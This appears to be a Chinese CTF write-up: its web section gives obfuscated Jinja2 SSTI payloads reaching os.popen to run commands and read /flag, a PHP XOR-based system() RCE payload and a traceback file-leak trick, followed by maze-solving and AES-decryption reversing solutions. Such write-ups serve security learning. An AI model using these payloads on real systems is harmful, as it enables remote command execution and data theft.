一、Web
1.Web狗的地狱
本题提供了源代码,我们打开代码查看,可以发现黑名单非常之多

过滤的基本都是与SSTI有关的函数,但是我们发现print没有被禁过滤的基本都是与SSTI有关的函数。还有,即使双大括号被禁用了,但是我们还可以使用{%...%}
来绕过。于是我们可以使用config来获取需要字符。

发现可SSTI处,我们尝试输出config

得到一串字符,我们尝试从里面获取到我们想要的字符,这里使用Python脚本
def get_letter_positions(s):
positions = {}
for idx, char in enumerate(s):
lower_char = char.lower()
if lower_char.isalpha() and lower_char not in positions:
positions[lower_char] = idx
return positions
def main():
input_str = input("请输入字符串:")
positions = get_letter_positions(input_str)
print("字母出现的位置:")
for letter in sorted(positions.keys()):
print(f"{letter}: {positions[letter]}")
if __name__ == "__main__":
main()
获得各个字母之后我们开始来构造命令,本来可以使用config.__class__.__init__.__globals__
,但是init也在黑名单中。所以我们干脆使用request.application.globals['builtins']'import'.popen
。然后空格使用%0a
绕过。点使用attr()
绕过,使用__getitem()__
绕过方括号。获得Payload
?h3ll=Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(po)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po))%}{%%0aendfor%0a%}{%%0aendfor%0a%}
~是jinja2引擎中的拼接符然后我们获得了popen函数的地址,然后我们使用 popen执行命令
{{request|attr("__class__")|attr("__mro__")|attr("__getitem__")(1)|attr("__subclasses__")()|attr("__getitem__")(189)|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("__import__")("os")|attr("popen")("id")|attr("read")()}}
其中的那个189不一定是这个数字。Payload中指向 __class__.__mro__[1].__subclasses__()
,然后遍历这个列表,逐个尝试每个子类,直到找到一个能访问 __builtins__
的类。下面是经过混淆后的payload:
?h3ll=Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.756~i.757%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(po)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd))%}{%%0aendfor%0a%}{%%0aendfor%0a%}
但是我们发现无法执行,原来是这个函数在环境中被删除了

我们重新导入
import os
import importlib
del os.system
importlib.reload(os)
再加上查看根目录代码
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set iml = 'importlib' %}
{% set rel = 'reload' %}
{% set po = 'popen' %}
{% set cmd = 'ls /' %}
{% set red = 'read' %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(so))) %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(cmd)|attr(red)()) %}
{% endfor %}
{% endfor %}
混淆
?h3ll=Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.29%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.756~i.757~i.7~i.272%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}
成功获得根目录文件

查看flag
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set ap = 'application' %}
{% set glob = '__globals__' %}
{% set get = '__getitem__' %}
{% set bui = '__builtins__' %}
{% set imp = '__import__' %}
{% set so = 'os' %}
{% set iml = 'importlib' %}
{% set rel = 'reload' %}
{% set po = 'popen' %}
{% set cmd = 'tac /flag' %}
{% set red = 'read' %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(imp)(so))) %}
{% print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(cmd)|attr(red)()) %}
{% endfor %}
{% endfor %}
混淆
?h3ll=Escape-{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0aap=i.755~i.789~i.789~i.756~i.304~j.165~i.755~i.788~i.304~i.819~i.820%}{%set%0aglob=i.867~i.867~i.6~i.756~i.819~j.29~i.755~i.756~i.757~i.867~i.867%}{%set%0aget=i.867~i.867~i.6~i.881~i.788~i.304~i.788~i.881~i.164~i.867~i.867%}{%set%0abui=i.867~i.867~j.29~i.880~i.304~i.756~i.788~i.304~i.820~i.757~i.867~i.867%}{%set%0aimp=i.867~i.867~i.304~i.164~i.789~i.819~i.879~i.788~i.867~i.867%}{%set%0aso=i.819~i.757%}{%set%0aiml=i.304~i.164~i.789~i.819~i.879~i.788~i.756~i.304~j.29%}{%set%0arel=i.879~i.881~i.756~i.819~i.755~i.172%}{%set%0apo=i.789~i.819~i.789~i.881~i.820%}{%set%0acmd=i.788~i.755~j.165~i.7~i.272~i.4~i.756~i.755~i.6%}{%set%0ared=i.879~i.881~i.755~i.172%}{%print(ap)%}{%print(glob)%}{%print(get)%}{%print(bui)%}{%print(imp)%}{%print(so)%}{%print(iml)%}{%print(rel)%}{%print(po)%}{%print(cmd)%}{%print(red)%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(iml)|attr(rel)(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(get)(bui)|attr(get)(imp)(so)|attr(po)(cmd)|attr(red)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}
得到flag

2.EzPyeditor
打开题目发现是一个在线的Python代码编辑器,但是可能是用了外网的静态资源,可能要魔法才能完整加载。题目还给了附件,我们下载下来看看,发现是一个flask应用。

其中,解析JSON这行是最重要的,同时注意一下,在request_json左边的两星号是字典拆包运算符
,可以讲JSON数据拆为一个一个的字段。我们去追踪一下这个函数,发现有好几个形参

但是其中我们通过抓包,可以发现source是已经被传入的。但是还可以传入filename变量,我们知道,Python在报错的时候,是会显示报错处的文件内容的,那么我们看到在项目下还有一个secret.py
,里面的第六行好像是有flag的

我们就使用报错来获得第六行内容,注意,这里并不是ast函数去读取了文件,ast库是安全的,他不会执行也不会读取任何文件。这里的原理是你传入的代码(即source)
的第六行报错了,本来是要显示你传入的代码的第六行但是偏偏传入了一个filename,所以Python的TraceBack机制就去找到了传入的文件名的第六行。

第六行让他报错就行
3.学习高数
打开题目后会发现页面标题是Page 1,我们尝试打开index.html,发现页面未发生变化,那么我们尝试index1.html。发现页面标题变为Page 2,所以我们使用BP进行批量访问,通过响应长度来找到不同界面。

发现一个不一样的页面,我们尝试访问给出路径。是一个RCE题目

既然给了黑名单又给了白名单,那我们绕过黑名单后,利用白名单中的函数来异或得到所需符号和字母。
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls
实际上就是is_nan这个字符串语64异或,后面也是同理。至于为什么不直接写64是因为直接写,它的类型是int是无法与字符串直接异或的。但是双引号和单引号都是黑名单,所以就利用拼接获得字符串。至于变量名,由于只能用白名单中的函数,但是又有长度限制,所以就选最短的函数作为变量名。使用超全局变量_GET获取0和1的值,并执行。
接下来查看flag

二、逆向
1.安卓
下载附件后是一个ZIP文件,先解压得到apk。使用jadx打开,直接搜索flag,看到一个flag,但是这个flag是假的

我们要在搜索是吧所有资源全部勾选上,因为这个flag是资源文件中的

2.漫长的旅途(reverse)
我们先使用die查看一下信息,发现是UPX壳,但是后面跟着一个(modified)

说明这确实是UPX壳但是被魔改过,我们使用010打开看看发现UPX加壳的特征UPX0被换成了APK,我们改回来即可脱壳成功。放入ida,找到迷宫。

我们使用Python脚本将其提取出来
import re
raw = '''
.data:000000014001E000 aA db 'A..........................................................$',0
.data:000000014001E000 ; DATA XREF: sub_140011980+199↑o
.data:000000014001E03D db '$$$$$$$.$$$$$$$$$$$.$$$$$$$$.......$$$$$$$$$$$$........$$$$$',0
.data:000000014001E07A db '$$$$$$$.$$$$$$$$$$$.$$$$$$$$.......$$$$$$$$$$$$........$$$$$',0
.data:000000014001E0B7 db '$$$$$$$.$$$$$$$$...................$$$$$$$$$$$$.............',0
.data:000000014001E0F4 db '$$$$$$$...$$$$$$$$$.$$$$$$$$.......$$$$$$$$.$$$...........$.',0
.data:000000014001E131 db '$$$$$$$$$$.$.$$$$$$.$$$$$$$$................$$$...........$.',0
.data:000000014001E16E db '$$$$$$$$$$...$$$$$$.$$$$$$$$........$$$$$$$.$$$...........$.',0
.data:000000014001E1AB db '$$$$$$$$$$$$$$..$$$.$$$$$$$$.$$$$$.$$$$$$$$.$$$.$.........$.',0
.data:000000014001E1E8 db '$$$$$$$$$$$$$$$.$$$.$$$$$$$$.$$$$$$$$$$$$$$.$$$.......$$$$$.',0
.data:000000014001E225 db '$$$$$$$$$$$$$$$.$$$.$$$$$$$$.$$$$$$$$$$$$$$.$$$.......$$$$$.',0
.data:000000014001E262 db '$$$$$$$$$$......$$$.$$$$$$....$$$$$$$$$$$$$.$$$.......$$$$$.',0
.data:000000014001E29F db '$$$$$$$$$$.$$$.$$$$..........$$$$$$$$$................$$$$$.',0
.data:000000014001E2DC db '$$$$$$$$$$.$$$.$$$$$$$$$$$$$.$$$$$$$$$$.$$$$.$$$......$$$$$.',0
.data:000000014001E319 db '$$$$$$$$$$.$$$.................$$$$$$$$.$$$$.$$$$$$.$$$$$$$.',0
.data:000000014001E356 db '$$$$$$$$$$.$$$$$$$$$$.$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$$$$$$$.',0
.data:000000014001E393 db '$$$$$$$$$$.$$$$$$$$$$.$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$$$$$$$.',0
.data:000000014001E3D0 db '$$$$$$$$$$.$$$$$$$$$$...................$$$$.$$$$$$$$$$$$$$.',0
.data:000000014001E40D db '$$$$$$$$$$.$$$$$$$$$$$$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$$$$$$$.',0
.data:000000014001E44A db '$$$$$$$$$$.$$$$$$$$$$$$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$$$$$$..',0
.data:000000014001E487 db '$$$$$$$$$$............$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$......$',0
.data:000000014001E4C4 db '$$$$$$$$$$.$$$$$$$$$$.$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$.$.$$..',0
.data:000000014001E501 db '$$$$$$$$$$.$$$$$$$$$$.$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$.$.$$$.',0
.data:000000014001E53E db '$$.........$$$$$$$$$$.$$$$$$$$$$$$$$$$$.$$$$.$$$$$$$$.$.$$$.',0
.data:000000014001E57B db '...$$$$$$$$$$$$$$$$$$.$$$$$$$$$$$$$$$$$...............$.....',0
.data:000000014001E5B8 db '.$$$$$$$$$$$$$$$$$$$$.$$$$$$$$$$$$$$$$$.....$$$$.$$$$$$$$$$.',0
.data:000000014001E5F5 db '.$$$$$$$$......$$$$$$.$$$$$$$$$$$$..........$$$$.$$$$$$$$$$.',0
.data:000000014001E632 db '.$$$$$$$$........$$$$.$$$$$$$$$$$$$$$$$$$$$.$$$$..........$.',0
.data:000000014001E66F db '.$$$$$$$$$$......$$$$.$$$$$$$$$$$$$$$$$$$$$..$...$$$$$$$$.$.',0
.data:000000014001E6AC db '.$$$$$$$$$$$$$$$.$$$$.$$$$$$$$$$$$$$...........$............',0
.data:000000014001E6E9 aB db '.................$$$$.......................$$$$$$$$$$$$$$.B',0
.data:000000014001E726 db 0
'''
# 1. 提取引号里的内容
rows = re.findall(r"db\s*'([^']*)'", raw)
# 2. 输出迷宫
for r in rows:
# 把 $ 换成 1 墙,把 换成0
line = r.replace('$', '1').replace('.', '0')
print(line)
当然也可以使用IDA直接提取出迷宫,但是还没学。接下来就是找出最短路径。这里我使用的是RUST的pathfinding库,里面已经集成了BFS,DFS,AStar以及Dijkstra等算法。这里我使用的是Dijkstra算法,对于Dijkstra算法,我也浅浅学了一下。单独写一篇文章。以下是解密RUST源码
use pathfinding::prelude::dijkstra;
type Pos = (usize, usize);
const MAZE_STR: &str = r#"
A00000000000000000000000000000000000000000000000000000000001
111111101111111111101111111100000001111111111110000000011111
111111101111111111101111111100000001111111111110000000011111
111111101111111100000000000000000001111111111110000000000000
111111100011111111101111111100000001111111101110000000000010
111111111101011111101111111100000000000000001110000000000010
111111111100011111101111111100000000111111101110000000000010
111111111111110011101111111101111101111111101110100000000010
111111111111111011101111111101111111111111101110000000111110
111111111111111011101111111101111111111111101110000000111110
111111111100000011101111110000111111111111101110000000111110
111111111101110111100000000001111111110000000000000000111110
111111111101110111111111111101111111111011110111000000111110
111111111101110000000000000000011111111011110111111011111110
111111111101111111111011111111111111111011110111111111111110
111111111101111111111011111111111111111011110111111111111110
111111111101111111111000000000000000000011110111111111111110
111111111101111111111111111111111111111011110111111111111110
111111111101111111111111111111111111111011110111111111111100
111111111100000000000011111111111111111011110111111110000001
111111111101111111111011111111111111111011110111111110101100
111111111101111111111011111111111111111011110111111110101110
110000000001111111111011111111111111111011110111111110101110
000111111111111111111011111111111111111000000000000000100000
011111111111111111111011111111111111111000001111011111111110
011111111000000111111011111111111100000000001111011111111110
011111111000000001111011111111111111111111101111000000000010
011111111110000001111011111111111111111111100100011111111010
011111111111111101111011111111111111000000000001000000000000
00000000000000000111100000000000000000000000111111111111110B
"#;
fn parse_maze() -> (Vec<Vec<bool>>, Pos, Pos) {
let mut grid = vec![];
let mut start = None;
let mut end = None;
for (r, line) in MAZE_STR.lines().filter(|l| !l.trim().is_empty()).enumerate() {
let mut row = vec![];
for (c, ch) in line.chars().enumerate() {
match ch {
'0' => row.push(true),
'1' => row.push(false),
'A' => {
row.push(true);
start = Some((r, c));
}
'B' => {
row.push(true);
end = Some((r, c));
}
_ => {}
}
}
grid.push(row);
}
(grid, start.unwrap(), end.unwrap())
}
fn successors(&(r, c): &Pos, grid: &[Vec<bool>]) -> Vec<(Pos, usize)> {
let mut next = Vec::with_capacity(4);
for (dr, dc) in [(1, 0), (-1, 0), (0, 1), (0, -1)] {
let nr = r as isize + dr;
let nc = c as isize + dc;
if nr >= 0 && nc >= 0 {
let nr = nr as usize;
let nc = nc as usize;
if nr < grid.len() && nc < grid[0].len() && grid[nr][nc] {
next.push(((nr, nc), 1));
}
}
}
next
}
fn main() {
let (grid, start, goal) = parse_maze();
let Some((path, cost)) = dijkstra(
&start,
|p| successors(p, &grid),
|p| *p == goal,
) else {
println!("无解!");
return;
};
println!("最短路径长度(代价): {}", cost);
let mut moves = String::new();
for win in path.windows(2) {
let (r1, c1) = win[0];
let (r2, c2) = win[1];
let dir = match (r2 as isize - r1 as isize, c2 as isize - c1 as isize) {
(-1, 0) => 'Y', // 上
( 1, 0) => 'X', // 下
( 0, -1) => 'C', // 左
( 0, 1) => 'Z', // 右
_ => unreachable!(),
};
moves.push(dir);
}
println!("移动指令: {}", moves);
let mut maze_lines: Vec<String> = MAZE_STR
.lines()
.filter(|l| !l.trim().is_empty())
.map(|l| l.to_string())
.collect();
for &(r, c) in &path[1..path.len() - 1] {
let row_chars: Vec<char> = maze_lines[r].chars().collect();
let new_row: String = row_chars
.iter()
.enumerate()
.map(|(idx, &ch)| if idx == c { '#' } else { ch })
.collect();
maze_lines[r] = new_row;
}
println!("\n带路径的迷宫:");
for line in maze_lines {
println!("{}", line);
}
}
得到路径,但是并不是唯一路径,使用DFS还可以找出一个路径,也是88步。
3.Java
我们使用jadx打开jar文件,先看主函数,大概的意思是调用了一个加密函数,将data.txt加密得到了encrypted.enc。key是使用keyGenerator.getAesKeyB64String()
方法得到的

既然如此,那么我们追踪函数后查看加密逻辑,发现是使用AES加密的,不管,我们直接复用它的代码
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
public class FileDecryptor {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
public static class KeyGenerator {
public String getAesKeyB64String() throws InvalidKeySpecException, NoSuchAlgorithmException {
byte[] salt = {1, 35, 69, 103, -119, -85, -51, -17};
PBEKeySpec spec = new PBEKeySpec("PolarD&N CTF".toCharArray(), salt, 10000, 128);
SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
SecretKey secretKey = secretKeyFactory.generateSecret(spec);
return Base64.getEncoder().encodeToString(secretKey.getEncoded());
}
}
public static void decryptFile(String inputFile, String outputFile, String key)
throws NoSuchPaddingException, NoSuchAlgorithmException,
InvalidKeyException, IOException, InvalidAlgorithmParameterException {
try (FileInputStream fileInputStream = new FileInputStream(inputFile)) {
byte[] ivBytes = new byte[16];
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
try (CipherInputStream cipherInputStream = new CipherInputStream(fileInputStream, cipher);
FileOutputStream fileOutputStream = new FileOutputStream(outputFile)) {
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = cipherInputStream.read(buffer)) != -1) {
fileOutputStream.write(buffer, 0, bytesRead);
}
}
}
}
public static void main(String[] args) {
try {
KeyGenerator keyGenerator = new KeyGenerator();
String key = keyGenerator.getAesKeyB64String();
decryptFile("encrypted.enc", "data.txt", key);
System.out.println("File decrypted successfully.");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译后再运行即可获得flag

4. 3.0plus
本题也是迷宫题,但是是一个三维迷宫,由于打开程序会直接输出每一层迷宫,所以就不折腾了,直接复制程序输出的结果然后提取迷宫转化为三维数组即可。同样是RUST函数
fn parse_maze(text: &str) -> Vec<Vec<Vec<char>>> {
// 66 层,每层 6×6,先全部填墙 '*'
let mut maze = vec![vec![vec!['*'; 6]; 6]; 66];
let mut current_layer = None;
let mut current_row = 0;
for line in text.lines() {
let line = line.trim();
if line.is_empty() {
continue;
}
if let Some(layer_str) = line.strip_prefix("Layer ") {
let layer_num: usize = layer_str.trim_end_matches(':').parse().unwrap();
current_layer = Some(layer_num);
current_row = 0;
continue;
}
let cells: Vec<char> = line
.split_whitespace()
.map(|s| s.chars().next().unwrap())
.collect();
if cells.len() == 6 && current_layer.is_some() {
let z = current_layer.unwrap();
if current_row < 6 {
maze[z][current_row] = cells;
current_row += 1;
}
}
}
maze
}
然后寻找路径即可,同样使用RUST算法djikstra
let result = dijkstra(&start, neighbors, |&p| p == goal);
match result {
Some((path, _cost)) => {
let dirs = path_to_keys(&path);
println!("最短路径:{}", dirs);
}
None => {
println!("无法到达终点!");
}
}
}
这里也是直接使用pathfinding库中的算法,这里的 neighbor是邻居函数,是用来告诉程序在当前点的附近点坐标与代价以及墙和可以走的路的
let neighbors = |&(x, y, z): &(usize, usize, usize)| {
let mut succ = vec![];
for (dx, dy, dz, _key) in DELTAS {
let nx = x as i32 + dx;
let ny = y as i32 + dy;
let nz = z as i32 + dz;
if nx < 0 || ny < 0 || nz < 0 || nx >= 6 || ny >= 6 || nz >= 66 {
continue;
}
let cell = maze[nz as usize][ny as usize][nx as usize];
if cell != '*' {
succ.push(((nx as usize, ny as usize, nz as usize), 1usize));
}
}
succ
};
完整代码
use pathfinding::prelude::dijkstra;
// 六个方向与对应按键
const DELTAS: [(i32, i32, i32, char); 6] = [
( 0, -1, 0, 'w'), // 上(y-1)
( 0, 1, 0, 's'), // 下(y+1)
(-1, 0, 0, 'a'), // 左(x-1)
( 1, 0, 0, 'd'), // 右(x+1)
( 0, 0, -1, 'x'), // 层-1
( 0, 0, 1, 'y'), // 层+1
];
fn main() {
// ====== 1. 读入迷宫文本 ======
let input = r#"
这里是迷宫
"#;
// ====== 2. 解析为三维迷宫 ======
let maze = parse_maze(input);
// ====== 3. 定起点与终点 ======
let start = (2usize, 4usize, 0usize);
let goal = (2usize, 2usize, 65usize);
// ====== 4. 定义邻居函数 ======
let neighbors = |&(x, y, z): &(usize, usize, usize)| {
let mut succ = vec![];
for (dx, dy, dz, _key) in DELTAS {
let nx = x as i32 + dx;
let ny = y as i32 + dy;
let nz = z as i32 + dz;
if nx < 0 || ny < 0 || nz < 0 || nx >= 6 || ny >= 6 || nz >= 66 {
continue;
}
let cell = maze[nz as usize][ny as usize][nx as usize];
if cell != '*' {
succ.push(((nx as usize, ny as usize, nz as usize), 1usize));
}
}
succ
};
// ====== 5. 运行 Dijkstra ======
let result = dijkstra(&start, neighbors, |&p| p == goal);
match result {
Some((path, _cost)) => {
let dirs = path_to_keys(&path);
println!("最短路径:{}", dirs);
}
None => {
println!("无法到达终点!");
}
}
}
/// 把三维坐标路径转换成 wsadxy 字符串
fn path_to_keys(path: &[(usize, usize, usize)]) -> String {
let mut keys = String::new();
let mut prev = path[0];
for &cur in &path[1..] {
for (dx, dy, dz, key) in DELTAS {
let nx = (prev.0 as i32 + dx) as usize;
let ny = (prev.1 as i32 + dy) as usize;
let nz = (prev.2 as i32 + dz) as usize;
if (nx, ny, nz) == cur {
keys.push(key);
break;
}
}
prev = cur;
}
keys
}
fn parse_maze(text: &str) -> Vec<Vec<Vec<char>>> {
// 66 层,每层 6×6,先全部填墙 '*'
let mut maze = vec![vec![vec!['*'; 6]; 6]; 66];
let mut current_layer = None;
let mut current_row = 0;
for line in text.lines() {
let line = line.trim();
if line.is_empty() {
continue;
}
if let Some(layer_str) = line.strip_prefix("Layer ") {
let layer_num: usize = layer_str.trim_end_matches(':').parse().unwrap();
current_layer = Some(layer_num);
current_row = 0;
continue;
}
let cells: Vec<char> = line
.split_whitespace()
.map(|s| s.chars().next().unwrap())
.collect();
if cells.len() == 6 && current_layer.is_some() {
let z = current_layer.unwrap();
if current_row < 6 {
maze[z][current_row] = cells;
current_row += 1;
}
}
}
maze
}